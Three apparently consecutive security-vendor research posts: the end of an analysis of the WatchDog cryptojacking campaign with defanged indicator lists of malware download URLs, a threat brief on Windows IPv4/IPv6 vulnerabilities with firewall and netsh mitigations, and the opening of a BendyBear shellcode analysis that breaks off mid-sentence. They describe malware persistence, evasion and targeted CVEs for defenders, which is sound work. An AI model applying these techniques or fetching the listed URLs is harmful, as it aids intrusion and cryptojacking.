Unit 42 researchers downloaded these files, and at the time of their download, both of the files appear to contain the same content, as they both have the same SHA-256 hash, ad3efb9bfd49c379a002532f43cc4867a4f0b1cd52b6f438bb7a8feb8833b8f8. These two identical files will be used by the pnscan or masscan processes to scan the network ranges for potential victims.

At the time of their download for this blog, these two files only appear to contain Chinese-related IP addresses. It is likely the actors behind WatchDog are able to update the binaries to include any number of IP address network ranges they wish to target. This is likely the case as Unit 42 researchers have identified victims of the WatchDog miner operating outside of the China IP address space, specifically within the United States and Europe.

Continuing on, loaded within the networkmanager Go binary are 33 individual exploits functions, 32 individual remote code execution (RCE) functions and several shell grab functions (see Figure 17).

Loaded within the networkmanager Go binary are 33 individual exploits functions, 32 individual RCE functions and several shell grab functions.
Figure 17. Exploits loaded into the networkmanager binary.

The following applications are specifically targeted within the scanning binary:

  • CCTV exploit
    • It is currently unknown if the target is a CCTV appliance or if there is another moniker “cctv” could stand for.
  • Drupal
    • Versions 7 and 8.
  • Elasticsearch
    • CVE-2015-1427 (Elasticsearch sandbox evasion – version before 1.3.8 and 1.4.x before 1.4.3)
    • CVE-2014-3120 (Elasticsearch before 1.2)
  • Apache Hadoop
  • PowerShell
    • Encoded command-line operations.
  • Redis
  • Spring Data Commons
    • CVE-2018-1273, versions prior to 1.13-1.13.10, 2.0-2.0.5
  • SQL Server
  • ThinkPHP
    • Versions 5.x, 5.10, 5.0.23
  • Oracle WebLogic Server
    • CVE-2017-10271 – versions 10.3.6.0.0, 12.1.3.0.0, 12.2.1.1.0 and 12.2.1.2.0)

The reference to “tmp_0324_scan” has been witnessed before, within a May 19, 2019, blog post from the forum.90sec.com, a Chinese-language Information Security group. The 90sec blog highlights a deep dive of a cryptojacking exploitation event targeting Apache Hadoop, Redis and ThinkPHP applications.

Of note, the bash script highlighted within the blog follows the same formatting as the newinit.sh shell script used by the WatchDog miner (see Figure 18). Aside from the different filenames and IP addresses, the two formats are practically identical.

Similar script formatting between the 90sec blog and NewInit.sh is shown with red arrows connecting similar sections of the scripts.
Figure 18. Similar script formatting between the 90sec blog and NewInit.sh.

Additionally, the references to “tmp/0324/scan” within the 90sec post are listed within the same format as witnessed within the networkmanager binary functions (see Figures 17 and 19).

The image provides a closer view of networkservices exploits pulled from the 90sec forum.
Figure 19. Image of networkservices exploits pulled from the 90sec forum.

It is clear that the activity being monitored by 90sec on May 19, 2019, is the same cryptojacking malware family researchers are seeing today in the form of the WatchDog miner. Several similarities can be observed between the past and present forms of the malware, such as that the same exploits appear to be used. However, newer techniques have been developed and implemented within the more current version of WatchDog. Specifically, we see this in relation to the phpguard binary.

Also of note, the denisenkom/go-mssqldb library is added to Go binary which allows for SQL DB functions to be accessible through the Go Language, including remote connections, error handling, bulk operations, logging and data manipulation (see Figure 20).

The image shows libraries added to Go binary, allowing SQL DB functions to be accessible through the Go Language, including remote connections, error handling, bulk operations, logging and data manipulation.
Figure 20. Loaded Libraries – Denisenkom mssql-db, Go-Civil and Redis.

The Go binary is also loaded with the Google Cloud library Go Civil to allow for the usage of a Gregorian calendar with exactly 24-hour days, 60-minute hours, and 60-second minutes, as well as the Github Redis Go Library, allowing for Redis service control by the binary.

phpguard

Phpguard is a UPX-compressed Go language binary designed to protect the mining software during operation. It performs the functions of monitoring system processes and scheduled tasks or CronJobs to ensure the mining software is running. Unit 42 researchers have identified two different filenames for binaries that perform the same protective function, phpguard and sysguard.

Through the use of the custom Go library “tmp_0324_dog_platform” (see Figure 21), the Go binary is able to control the XMRig mining software in either Windows or NIX systems.

Through the use of a custom Go library, the Go binary is able to control the XMRig mining software in either Windows or NIX systems.
Figure 21. phpguard custom Go functions for miner control in Windows and NIX.

Additionally, the binary embeds the mining software within the relevant OS through scheduled tasks, as is the case in Windows systems (see Figure 22). This can also happen via CronJobs, as is the case with NIX systems (see Figure 23).

The binary embeds the mining software within the relevant OS through scheduled tasks, as is the case in Windows systems. The relevant section in phpguard is shown here.
Figure 22. phpguard WIN Scheduled Task creation.
The binary can embed the mining software via CronJobs, as is the case with NIX systems. The relevant section in phpguard is shown here.
Figure 23. phpguard NIX CronJob creation.

The binary will also continually crawl through each of the OS running processes to ensure that the mining process is running (see Figure 24).

The binary will continually crawl through each of the OS running processes to ensure that the mining process is running.
Figure 24. phpguard process crawling cycle.

The binary is designed to ensure the mining process is protected. If this is a first run for the binary, it will set the new process for protection. If the mining software has not been started, it will start the mining software. And if the software has yet to be downloaded, the binary will begin the download process (see Figure 25).

The binary is designed to ensure the mining process is protected. Several of the relevant protections are shown here.
Figure 25. Setting protections for the mining process.

phpupdate

The phpupdate process is the XMRig mining software used by the WatchDog miner. Unit 42 researchers have identified three different filenames for binaries that perform the same mining operations, phpupdate, zzh and trace.

There is little to disclose about the WatchDog miner’s version of XMRig or its mining operations that is outside of known industry mining software operations. It offers a fully configurable operational menu, allowing the user to specify the following mining attributes (see Figure 26):

  • URL of the mining pool.
  • Mining algorithm (or the desired coin).
  • Username.
  • Password.
  • Proxy information.
  • Sending of a keep alive packet
  • Size of packet, and more.
WatchDog miner's version of XMRig offers a fully configurable operational menu, as shown here.
Figure 26. The WatchDog miner’s configuration options.

While the miner can be controlled by the phpguard Go binary, as was described within the section just prior, the mining software can also be operated through direct user interaction.

Conclusion

The WatchDog mining operation has been in progress since at least Jan. 27, 2019, and has collected at least 209 Monero CryptoCoins (XMR), valued at least $32,056 USD. The WatchDog actors are using cloud-efficient cryptojacking malware, through the use of UPX-compressed Go language binaries, ensuring they are able to compromise both Windows and Linux operating systems – assuming those systems have the Go platform installed. At this time, the WatchDog mining infrastructure is known to include 18 IP addresses and seven domains. These malicious endpoints continue to host or have hosted at least 125 URL addresses used to download the WatchDog mining toolkit. Additionally, the scanning and exploitation binary, networkmanager, is loaded with 33 unique exploits, including 32 RCE functions. The WatchDog mining operation is quite large, as at least 476 compromised systems are estimated to be mining at any given time.

It is clear that the WatchDog operators are skilled coders and have enjoyed a relative lack of attention regarding their mining operations. While there is currently no indication of additional cloud compromising activity at present (i.e. the capturing of cloud platform IAM credentials, access ID, or keys), there could be potential for further cloud account compromise. It is highly likely these actors could find IAM-related information on the cloud systems they have already compromised, due to the root and administrative access acquired during the implantation of their cryptojacking software.

Palo Alto Networks Prisma Access is configured to detect each of WatchDog’s 18 IP addresses, seven domains and their associated URL addresses through PAN-OS. Prisma Cloud also detects the usage of malicious XMRig processes used by the WatchDog miner operating in cloud environments that have Prisma Cloud Compute Defender installed.

Indicators of Compromise

IP Addresses
39.100.33[.]209
45.153.240[.]58
45.9.148[.]37
93.115.23[.]117
95.182.122[.]199
106.15.74[.]113
107.173.159[.]206
146.71.79[.]230
185.181.10[.]234
185.232.65[.]124
185.232.65[.]191
185.232.65[.]192
185.247.117[.]64
198.98.57[.]187
199.19.226[.]117
204.44.105[.]168
205.209.152[.]78
208.109.11[.]21
Domains
de.gengine[.]com.de
de.gsearch[.]com.de
global.bitmex[.]com.de
ipzse[.]com
py2web[.]store
sjjjv[.]xyz
us.gsearch[.]com.de
URL Addresses
hxxp://107.173.159[.]206:8880/tatavx1hym9z928m/bsh.sh
hxxp://107.173.159[.]206:8880/tatavx1hym9z928m/config.json
hxxp://107.173.159[.]206:8880/tatavx1hym9z928m/sysupdate
hxxp://107.173.159[.]206:8880/tatavx1hym9z928m/update.sh
hxxp://146.71.79[.]230/363A3EDC10A2930DVNICE/config.json
hxxp://146.71.79[.]230/363A3EDC10A2930DVNICE/networkservice
hxxp://146.71.79[.]230/363A3EDC10A2930DVNICE/sysguard
hxxp://146.71.79[.]230/363A3EDC10A2930DVNICE/sysupdate
hxxp://146.71.79[.]230/363A3EDC10A2930DVNICE/update.sh
hxxp://176.123.10[.]57/cf67356/config.json
hxxp://176.123.10[.]57/cf67356/networkmanager
hxxp://176.123.10[.]57/cf67356/newinit.sh
hxxp://176.123.10[.]57/cf67356/phpguard
hxxp://176.123.10[.]57/cf67356/zzh
hxxp://185.181.10[.]234/E5DB0E07C3D7BE80V520/config.json
hxxp://185.181.10[.]234/E5DB0E07C3D7BE80V520/networkservice
hxxp://185.181.10[.]234/E5DB0E07C3D7BE80V520/sysguard
hxxp://185.181.10[.]234/E5DB0E07C3D7BE80V520/sysupdate
hxxp://185.181.10[.]234/E5DB0E07C3D7BE80V520/update.sh
hxxp://185.232.65[.]124/update.sh
hxxp://185.232.65[.]191/cf67356/config.json
hxxp://185.232.65[.]191/cf67356/newinit.sh
hxxp://185.232.65[.]191/cf67356/zzh
hxxp://185.232.65[.]191/config.json
hxxp://185.232.65[.]191/trace
hxxp://185.232.65[.]191/update.sh
hxxp://185.232.65[.]192/cf67356/networkmanager
hxxp://185.232.65[.]192/cf67356/phpguard
hxxp://185.232.65[.]192/config.json
hxxp://185.232.65[.]192/trace
hxxp://185.247.117[.]64/cf67356/config.json
hxxp://185.247.117[.]64/cf67356/networkmanager
hxxp://185.247.117[.]64/cf67356/newdat.sh
hxxp://185.247.117[.]64/cf67356/phpguard
hxxp://185.247.117[.]64/cf67356/phpupdate
hxxp://198.98.57[.]187/config.json
hxxp://198.98.57[.]187/trace
hxxp://198.98.57[.]187/update.sh
hxxp://204.44.105[.]168:66/config.json
hxxp://204.44.105[.]168:66/networkmanager
hxxp://204.44.105[.]168:66/newdat.sh
hxxp://204.44.105[.]168:66/phpguard
hxxp://204.44.105[.]168:66/phpupdate
hxxp://205.209.152[.]78:8000/sysupdate
hxxp://205.209.152[.]78:8000/update.sh
hxxp://209.182.218[.]161:80/363A3EDC10A2930D/config.json
hxxp://209.182.218[.]161:80/363A3EDC10A2930D/networkservice
hxxp://209.182.218[.]161:80/363A3EDC10A2930D/sysguard
hxxp://209.182.218[.]161:80/363A3EDC10A2930D/sysupdate
hxxp://209.182.218[.]161:80/363A3EDC10A2930D/update.sh
hxxp://39.100.33[.]209/b2f628/config.json
hxxp://39.100.33[.]209/b2f628/newinit.sh
hxxp://39.100.33[.]209/b2f628/zzh
hxxp://39.100.33[.]209/b2f628fff19fda999999999/is.sh
hxxp://45.153.240[.]58/N3DN0E09C5D9BU70V1720/config.json
hxxp://45.153.240[.]58/N3DN0E09C5D9BU70V1720/networkservice
hxxp://45.153.240[.]58/N3DN0E09C5D9BU70V1720/sysguard
hxxp://45.153.240[.]58/N3DN0E09C5D9BU70V1720/sysupdate
hxxp://45.153.240[.]58/N3DN0E09C5D9BU70V1720/update.sh
hxxp://45.9.148[.]37/cf67356a3333e6999999999/1.0.4.tar.gz
hxxp://45.9.148[.]37/cf67356a3333e6999999999/config.json
hxxp://45.9.148[.]37/cf67356a3333e6999999999/is.sh
hxxp://45.9.148[.]37/cf67356a3333e6999999999/networkmanager
hxxp://45.9.148[.]37/cf67356a3333e6999999999/newdat.sh
hxxp://45.9.148[.]37/cf67356a3333e6999999999/phpguard
hxxp://45.9.148[.]37/cf67356a3333e6999999999/phpupdate
hxxp://47.253.42[.]213/b2f628/config.json
hxxp://47.253.42[.]213/b2f628/newinit.sh
hxxp://47.253.42[.]213/b2f628/zzh
hxxp://82.202.66[.]50/cf67356/config.json
hxxp://82.202.66[.]50/cf67356/networkmanager
hxxp://82.202.66[.]50/cf67356/newinit.sh
hxxp://82.202.66[.]50/cf67356/phpguard
hxxp://82.202.66[.]50/cf67356/zzh
hxxp://83.97.20[.]90/cf67356/config.json
hxxp://83.97.20[.]90/cf67356/networkmanager
hxxp://83.97.20[.]90/cf67356/newinit.sh
hxxp://83.97.20[.]90/cf67356/phpguard
hxxp://83.97.20[.]90/cf67356/zzh
hxxp://93.115.23[.]117/N3DN0E09C5D9BU70V1720/config.json
hxxp://93.115.23[.]117/N3DN0E09C5D9BU70V1720/networkservice
hxxp://93.115.23[.]117/N3DN0E09C5D9BU70V1720/sysguard
hxxp://93.115.23[.]117/N3DN0E09C5D9BU70V1720/sysupdate
hxxp://93.115.23[.]117/N3DN0E09C5D9BU70V1720/update.sh
hxxp://95.182.122[.]199/E5DB0E07C3D7BE80V52/config.json
hxxp://95.182.122[.]199/E5DB0E07C3D7BE80V52/networkservice
hxxp://95.182.122[.]199/E5DB0E07C3D7BE80V52/Saltmin.sh
hxxp://95.182.122[.]199/E5DB0E07C3D7BE80V52/sysupdate
hxxp://95.182.122[.]199/init.sh
hxxp://global.bitmex[.]com[.]de/cf67355a3333e6/config.json
hxxp://global.bitmex[.]com[.]de/cf67355a3333e6/is.sh
hxxp://global.bitmex[.]com[.]de/cf67355a3333e6/networkmanager
hxxp://global.bitmex[.]com[.]de/cf67355a3333e6/newdat.sh
hxxp://global.bitmex[.]com[.]de/cf67355a3333e6/phpguard
hxxp://global.bitmex[.]com[.]de/cf67355a3333e6/phpupdate
hxxp://py2web[.]store/7356a3333e6999999999/networkmanager
hxxp://py2web[.]store/7356a3333e6999999999/phpguard
hxxp://py2web[.]store/cf67356/config.json
hxxp://py2web[.]store/cf67356/newinit.sh
hxxp://py2web[.]store/cf67356/zzh
hxxp://xmr.ipzse[.]com:66/bd.sh
hxxp://xmr.ipzse[.]com:66/config.json
hxxp://xmr.ipzse[.]com:66/is.sh
hxxp://xmr.ipzse[.]com:66/networkmanager
hxxp://xmr.ipzse[.]com:66/newdat.sh
hxxp://xmr.ipzse[.]com:66/phpguard
hxxp://xmr.ipzse[.]com:66/phpupdate
hxxp://xmr.ipzse[.]com:66/rs.sh
hxxps://de.gengine[.]com[.]de/api/config.json
hxxps://de.gengine[.]com[.]de/api/networkservice
hxxps://de.gengine[.]com[.]de/api/sysguard
hxxps://de.gengine[.]com[.]de/api/sysupdate
hxxps://de.gengine[.]com[.]de/api/update.sh
hxxps://de.gsearch[.]com[.]de/api/config.json
hxxps://de.gsearch[.]com[.]de/api/networkservice
hxxps://de.gsearch[.]com[.]de/api/sysguard
hxxps://de.gsearch[.]com[.]de/api/sysupdate
hxxps://de.gsearch[.]com[.]de/api/update.sh
hxxps://sjjjv[.]xyz/sysupdate
hxxps://sjjjv[.]xyz/update.sh
hxxps://us.gsearch[.]com[.]de/api/config.json
hxxps://us.gsearch[.]com[.]de/api/networkservice
hxxps://us.gsearch[.]com[.]de/api/sysguard
hxxps://us.gsearch[.]com[.]de/api/sysupdate
hxxps://us.gsearch[.]com[.]de/api/update.sh
Files
SHA-256 Filename
0a48bd0d41052c1e3138d558fc06ebde8d6f15b8d866200b8f00b214a73eb5b9 config.json
0c4aa6afd2a81fd15f3bd65adcbd4f649fbc58ef12dd2d528125435169555901 update.sh
1f65569b77f21f47256db339700b4ff33b7570e44e1981b5c213b7b2e65b0f6c networkmanager
2b52288383588f65803a5dc9583171103be79f0b196d01241b5cd3a8cf69b190 networkservice
2eeac2b9577047a9eef2d164c13ace5e826ac85990a3a915871d6b0c2fc8fe67 update.sh
2f642efdf56b30c1909c44a65ec559e1643858aaea9d5f18926ee208ec6625ed update.sh
37492d1897f77371f2eb431b9be7c861b81e97f04a091d8c6d63719171eda2ac rs.sh
3ab7cf786eeb23ebd11e86e0fc48b0a9b37a427d5d730d774c9ed8d98a925c6f sysupdate
43d7b29668786731f1bbbb3ae860487e84604195b186c1b7b253f99156d7f57a sysguard
49366ae4766492d94136ca1f715a37554aa6243686c66bf3c6fbb9da9cb2793d newinit.sh
51de345f677f46595fc3bd747bfb61bc9ff130adcbec48f3401f8057c8702af9 tar.gz
55c92d64ffa9d170e340e0528dc8ea1fa9be98f91db891869947c5b168a728c8 networkmanager
55dd539d8fe94648294e91df89b005f1dba330b432ceda25775963485bae7def config.json
67d0f77adf98ac34a6db78110c78652a9b7f63e22ae5ab7df4f57d3413e48822 phpguard
68cedf2a018c0830655dc9bb94aadf6492ab31196cbc83ceb44defae0a02d3dc config.json
6a7109481e113fd92ff98534e780f47a32b64bfa5692f7bd7da33c84033a9028 sysguard
758dbfda2b7d2e97caba294089c4c836ab447d7c9ceef510c667526fd873e161 phpguard
80b1a70d7ec5d1944787afff3c2feac3aa40ec8c64177886481d96623bc786bf config.json
818c16d1921572ffee6853c16c5c9158d2f217b6adbb5154cbb7daf945db493c update.sh
82815c61402cfc0edd6ce3be37848259711ef07e3391e74c85fbdaa676d95c0c is.sh
849f86a8fd06057eeb1ae388789881516239282dd4cb079b8281f995035874e1 newinit.sh
895e994dafaa00009a46f3b56ca0d563e066a14e77f5030b1331fc9b3f9f6478 networkservice
96fe63c25e7551a90051431aeddb962f05d82b7dd2940c0e8e1282273ba81e22 newinit.sh
a322dc6af6fed1326b04ec966e66b68dd8ef22374edd286569710afc65ccc741 newinit.sh
ac719447894b2f5029f493c7395d128f710a3ba7b31c199558f3ee00fb90ea12 networkmanager
ad05d09e6ed4bd09fe1469e49885c5169458635a1a33f2579cb7caa221b43fce newdat.sh
b6a5790a9bfaf159af68c4dbb09de9c2c0c2371c886fdb28223d40e6984b1dd7 config.json
bd3506b86452d46d395b38aa807805097da1291c706318b5fe970fe4b20f5406 config.json
c67881c1f05477939b8964ad26f1a467762a19c2c7d1a1656b338d8113ca1ac1 phpguard
c8ca3ab0ae00a1bf197086370ab5994264ac5bc1fcf52b2ddf8c9fcacc4402ff 1.0.4.tar
d54157bb703b360bb911363d9bb483a2ee00ee619d566d033a8c316f06cf26cc zzh
d6cf2d54e3bb564cb15638b58d2dd124ae7acd40e05af42d1bdc0588a8d5211d networkmanager
e3cbb08913493e54d74081349972423444cbc0f4853707b84409131d19cad15b phpguard
e7446d595854b6bac01420378176d1193070ef776788af12300eb77e0a397bf7 sysupdate
ed1e49cb05c375cc1149c349880ed077b6ee75cb7e5c6cae9cbd4bd086950c93 zzh

 

Threat Brief: Windows IPv4 and IPv6 Stack Vulnerabilities (CVE-2021-24074, CVE-2021-24086 and CVE-2021-24094)

Executive Summary

For Microsoft’s Patch Tuesday for February 2021, the company released patches for 56 disclosed vulnerabilities, which include:

CVE-2021-24086 was given the Common Vulnerability Scoring System (CVSS) score of 7.5/6.5 and an "Important" security rating from Microsoft.

CVE-2021-24094 and CVE-2021-24074 were given the CVSS score of 9.8/8.4 and a "Critical" security rating from Microsoft.

CVE-2021-24086 and CVE-2021-24094 Overview

An attacker could send a number of crafted IPv6 packets (multiple headers, invalid header, multiple fragment headers, etc.), which would cause a DoS error. Palo Alto Networks Next-Generation Firewall customers with PAN-OS are able to block such malicious packets to mitigate the attacks.

Palo Alto Networks Next-Generation Firewall customers with IPv6 Firewalling enabled already receive protections for these two vulnerabilities. IPv6 firewalling can be enabled in the user interface (UI) under Device > Setup > Session: Check the “Enable IPv6 Firewalling” checkbox and Commit the Firewall. More details about IPv6 Firewalling can be found in the Knowledge Base article, “How to Enable and Disable IPv6 Firewalling.”

The screenshot shows session settings for enabling IPv6 Firewalling to mitigate CVE-2021-24086 and others. Note the checkbox at the bottom of the image.
Figure 1. Enabling IPv6 Firewalling.

Palo Alto Networks Next-Generation Firewall customers can check the details for the packet drops during a DoS attack using the command show counter global filter delta yes | match flow_parse_ip6, which allows viewing IPv6 packets dropped since the last time the command was issued.

For example, the following is the output of the command after running a DoS attack with crafted IPv6 packets against the firewall, which shows 90 IPv6 packets dropped due to truncated packets, six packets dropped due to invalid header position and one packet dropped due to multiple fragment headers present in the IPv6 packet.

admin@PA-3020> show counter global filter delta yes | match flow_parse_ip6

flow_parse_ip6_truncated 90 4 drop flow parse Packets dropped: IPv6 packet truncated

flow_parse_ip6_invalid_routing_ext_hdr 6 0 drop flow parse Packets dropped: invalid routing header position in IPv6 packet

flow_parse_ip6_frag_nested 1 0 drop flow parse Packets dropped: multiple fragment header in IPv6 packet

CVE-2021-24074 Overview

An attacker can leverage this vulnerability by sending maliciously crafted IPv4 packets to a victim, potentially causing a RCE on the system.

This vulnerability occurs due to confusing IPv4 options fields between two fragments. The scenario pointed out by Microsoft shows two IPv4 fragments, the first of which has the Security Options (Type 130) field, followed by a second fragment with either the Loose Source and Record Route (LSRR) option (Type 131) or the Strict Source and Record Route (SSRR) option (Type 137). The fragment offsets, confusing the options and the header data together, cause an out-of-bound read and write during reassembly of the IP fragments, which introduces the potential for RCE on a Windows machine.

Next-Generation Firewall Mitigations for CVE-2021-24074

Palo Alto Networks Next-Generation Firewall customers running PAN-OS 8.1 or higher can configure their Network Zone Protection Profile settings to protect themselves from attacks related to CVE-2021-24074 by enabling IP Drop for Malformed, Strict and Loose Source Routing IP Options.

Note that as a best practice for IP protocol, Palo Alto Networks recommends enabling packet drop for dropping packets with Malformed, Strict and Loose Source Routing options because allowing these options allows adversaries to bypass security policy rules that use the destination IP address as the matching criteria. More details of these options can be found in the TechDocs article, “Packet-Based Attack Protection.”

The “Configure Packet Based Attack Protection” page contains the steps to configure the Zone Protection Profile to drop the specific packets with IP options.

For configuring Zone Protection to drop IP packets with these options:

Step 1: Create a Zone Protection profile and configure Packet-Based Attack Protection settings.

  1. Select Network > Network Profiles > Zone Protection and Add a new profile.
  2. Enter a Name for the profile and an optional Description.
  3. Select Packet-Based Attack Protection.
  4. On the IP Drop tab, select the Packet-Based Attack Protection settings tab and select the Malformed, Strict Source Routing and Loose Source Routing check boxes under IP Option Drop.
  5. Click OK.

    To mitigate CVE-2021-24074 with the Next-Generation Firewall, you can configure your Zone Protection Profile as shown in this screenshot. Note the selctions of IP Option Drops "Strict Source Routing," "Loose Source Routing" and "Malformed."
    Figure 2. Configuring Zone Protection Profile with IP Drop options.

Step 2: Apply the Zone Protection profile to a security zone that is assigned to interfaces you want to protect.

  1. Select Network > Zones and select the zone where you want to assign the Zone Protection profile.
  2. Add the Interfaces belonging to the zone.
  3. For Zone Protection Profile, select the profile you just created.
  4. Click OK.
The screenshot shows how to configure zone and select Zone Protection Profile to mitigate CVE-2021-24074. Note the selection of "IP Drop" in the Zone Protection Profile field at the bottom of the image.
Figure 3. Configuring Zone and selecting Zone Protection Profile.

Step 3: Commit your changes.

Step 4: (PAN-OS 8.1.2 or higher) Enable the firewall to generate threat logs for the attack, and also generate threat logs for the types of packets listed above if you enable the corresponding packet-based attack protection (in Step 1). For example, if you enable packet-based attack protection for Loose Source Routing, using the following command line interface (CLI) causes the firewall to generate a threat log when the firewall receives and drops a packet with an LSRR option. Customers can leverage this option for troubleshooting purposes.

  1. Access the CLI.
  2. Use the operational CLI command set system setting additional-threat-log on. Default is off.
The example shows how threat logs appear in the UI for the Next-Generation Firewall. These are threat logs for the Malformed IP option.
Figure 4. Threat Logs for Malformed IP option.

Additionally, the threat logs can be seen in the UI as shown in Figure 4.

As an alternative, Palo Alto Networks Next-Generation Firewall customers can also check the details for the IPv4 packet drops due to Zone Protection using the flow_dos_pf_badoption, flow_dos_pf_strictsource and flow_dos_pf_strictsource flow counters.

For example, the command show counter global filter delta yes | match flow_dos_pf_badoption allows viewing IPv4 packets dropped since the last time the command was issued.

admin@PA-5250> show counter global filter delta yes | match flow_dos_pf_badoption
flow_dos_pf_badoption 1 0 drop flow dos Packets dropped: Zone protection option 'discard-malformed-option'

For CVE-2021-24074, malformed packets which cause bad loose/strict source options to the subsequent packet get dropped when the “Malformed” Zone Protection IP Drop Option is enabled. The subsequent IP packet with bad loose/strict source does not get transmitted to the firewall due to internal firewall packet filtering. Since IPv4 Source routing is considered insecure, other IPv4 packets with source routing would get dropped when the “Loose Source Routing” and “Strict Source Routing” Zone Protection IP Drop Options are enabled.

Cortex XDR Mitigations for CVE-2021-24074, CVE-2021-24086 and CVE-2021-24094

If you’re a Palo Alto Networks Cortex XDR Agent customer version 7.1 or higher, you can leverage your agents starting Feb. 10 to modify system settings to protect unpatched endpoints from these vulnerabilities until a Windows update is installed.

The workaround is managed through the Endpoint Exploit Security Profile and requires the latest content update. You can edit any of your existing profiles or create a new profile to include the workaround as needed.

Under the “Unpatched Vulnerabilities Protection” section, define the workaround setting for CVE-2021-24074, CVE-2021-24086 and CVE-2021-24094 by selecting one of the options below:

  • Do not modify system settings (default): Do not modify the IPv4 and IPv6 settings currently set on the endpoint, whether the current values are your original values or values that were modified as part of this workaround.
  • Modify system settings until the endpoint is patched: The Cortex XDR agent runs the following commands on your endpoints to temporarily modify the IPv4 and IPv6 settings until the endpoint is patched. After the endpoint is patched, all modified Windows system settings are automatically reverted to their values before modification. Palo Alto Networks strongly recommends that you review these commands before applying this workaround in your network to ensure your business-critical components are not affected or harmed.
    1. To disable IPv6 fragmentation on the endpoint: netsh int ipv6 set global reassemblylimit=0
    2. To disable loose source routing for IPv4 : netsh int ipv4 set global sourceroutingbehavior=drop
  • Revert system settings to your previous settings: Revert all Windows system settings to their values before modification as part of this workaround, regardless of whether the endpoint was patched or not.

The Unpatched Vulnerabilities Protection section in the Cortex XDR Agent interface allows you to define the workaround setting for CVE-2021-24074, CVE 2021-24086 and CVE-2021-24094, as described in the text.

BEST PRACTICE NOTE: For all Windows endpoints, Palo Alto Networks strongly recommends that you install the latest Windows Update that patches these vulnerabilities.

For more details, refer to the Cortex XDR Prevent Administrator’s guide.

Conclusion

As a member of the Microsoft Active Protections Program (MAPP) program, Palo Alto Networks received early details of the vulnerability, providing greater understanding of the threat, which helps us implement strong product coverage. As always, we recommend keeping your Microsoft products up to date with the latest patches to mitigate this vulnerability.

Palo Alto Networks will update this Threat Brief with new information and recommendations as they become available.

Additional Resources

Windows TCP/IP Remote Code Execution Vulnerability, CVE-2021-24074

Windows TCP/IP Denial of Service Vulnerability, CVE-2021-24086

Windows TCP/IP Remote Code Execution Vulnerability, CVE-2021-24094

February 2021 Security Updates from Microsoft

Packet-Based Attack Protection

Configure Packet Based Attack Protection

 

BendyBear: Novel Chinese Shellcode Linked With Cyber Espionage Group BlackTech

Executive Summary

Highly malleable, highly sophisticated and over 10,000 bytes of machine code. This is what Unit 42 researchers were met with during code analysis of this “bear” of a file. The code behavior and features strongly correlate with that of the WaterBear malware family, which has been active since as early as 2009. Analysis by Trend Micro and TeamT5 unveiled WaterBear as a multifaceted, stage-two implant, capable of file transfer, shell access, screen capture and much more. The malware is associated with the cyber espionage group BlackTech, which many in the broader threat research community have assessed to have ties to the Chinese government, and is believed to be responsible for recent attacks against several East Asian government organizations. Due to the similarities with WaterBear, and the polymorphic nature of the code, Unit 42 named this novel Chinese shellcode “BendyBear.” It stands in a class of its own in terms of being one of the most sophisticated, well-engineered and difficult-to-detect samples of shellcode employed by an Advanced Persistent Threat (APT).

The BendyBear sample was determined to be x64 shellcode for a stage-zero implant whose sole function is to download a more robust implant from a command and control (C2) server. Shellcode, despite its name, is used to describe the small piece of code loaded onto the target immediately following exploitation, regardless of whether or not it actually spawns a command shell. At 10,000+ bytes, BendyBear is noticeably larger than most, and uses its size to implement advanced features and anti-analysis techniques, such as modified RC4 encryption, signature block verification, and polymorphic code.

The sample analyzed in this blog was identified by its connections to a malicious C2 domain published by Taiwan's Ministry of Justice Investigation Bureau in August 2020. It was discovered absent additional information regarding the exploit vector, potential victims or intended use.

Palo Alto Networks customers can be protected from the attacks outlined in this blog with the Next-Generation Firewall alongside DNS Security, URL Filtering and WildFire security subscriptions, and Cortex XDR.

A New Class of Shellcode

At a macro level, BendyBear is unique in that it:

  • Transmits payloads in modified RC4-encrypted chunks. This hardens the encryption of the network communication, as a single RC4 key will not decrypt the entire payload.
  • Attempts to remain hidden from cybersecurity analysis by explicitly checking its environment for signs of debugging.
  • Leverages existing Windows registry key that is enabled by default in Windows 10 to store configuration data.
  • Clears the host’s DNS cache every time it attempts to connect to its C2 server, thereby requiring that the host resolve the current IP address for the malicious C2 domain each time.
  • Generates unique session keys for each connection to the C2 server.
  • Obscures its connection protocol by connecting to the C2 server over a common port (443), thereby blending in with normal SSL network traffic.
  • Employs polymorphic code, changing its runtime footprint during code execution to thwart memory analysis and evade signaturing.
  • Encrypts or decrypts function blocks (code blocks) during runtime, as needed, to evade detection.
  • Uses position independent code (PIC) to throw off static analysis tools.

In the following sections, we provide an in-depth technical breakdown of each of these capabilities.

Technical Details

Shellcode Execution

The shellcode (SHA256: 64CC899EC85F612270FCFB120A4C80D52D78E68B05CAF1014D2FE06522F1E2D0) is considered to be a stager, or downloader, whose function is to download an implant from a C2 server. During execution, the code employs byte randomization to obscure its behavior. This is achieved by using the host’s current time as a seed for a pseudorandom number generator, and then performing additional operations against that output. The resulting values are used to overwrite blocks of previously executed code. This byte manipulation is the first anti-analysis technique observed in the code, as any attempt to dump the memory segment would result in illegitimate or incorrect operations. Figure 1 shows an example of the shellcode main entry point before and during runtime execution.

The screenshot shows the orignal entry point on the left (before runtime execution) and the modified entry point on the right (during runtime execution), displaying the effects of byte manipulation.
Figure 1. Modified shellcode runtime example.

Because shellcode lacks the ability to run on its own, a Windows loader is required to allocate an environment in memory for it to execute. At the time of analysis, no loader had been identified for this shellcode; Therefore, Unit 42 created a custom loader to study the code during its runtime execution. Since then, however, several older installers were discovered with embedded WaterBear shellcode based on attributes identified from this sample. More information on these loaders can be found in the Appendix section “x86 WaterBear Loaders”.

The shellcode begins by locating the target’s Process Environment Block (PEB) to check if it’s currently being debugged. However, the code is written such that it pulls both the “BeingDebugged” and “BitField” values from the PEB, resulting in code logic that invalidates the debugger check. Because of this, the shellcode will always fail to recognize when a debugger is attached. This routine is performed 52 times in a while loop.

Next, the shellcode iterates through the PEB’s loader module list looking for the base address of Kernel32.dll. This is typical of shellcode, as the Kernel32.dll base address is necessary to resolve any dependency files required by the shellcode to run. With this address, the shellcode loads its dependency modules and resolves any necessary Windows Application Programming Interface (API) calls using standard shellcode API hashing. The following modules are loaded:

  • Advapi32.dll
  • Kernel32.dll
  • Msvcrt.dll
  • User32.dll
  • Ws2_32.dll

With the shellcode initialization complete, it moves onto its main function. It begins by querying the target’s registry, at the following key:

  • HKEY_CURRENT_USER\Console\QuickEdit

This registry key is used by the Windows command prompt to enable Quick Edit mode. Quick Edit mode allows copy and paste from the command prompt to the clipboard. By default, this key contains a REG_DWORD, a 32-bit number of either 1 for enabled or 0 for disabled. BendyBear reads this value, multiplies it by 1000 and performs the following calculation on the result:

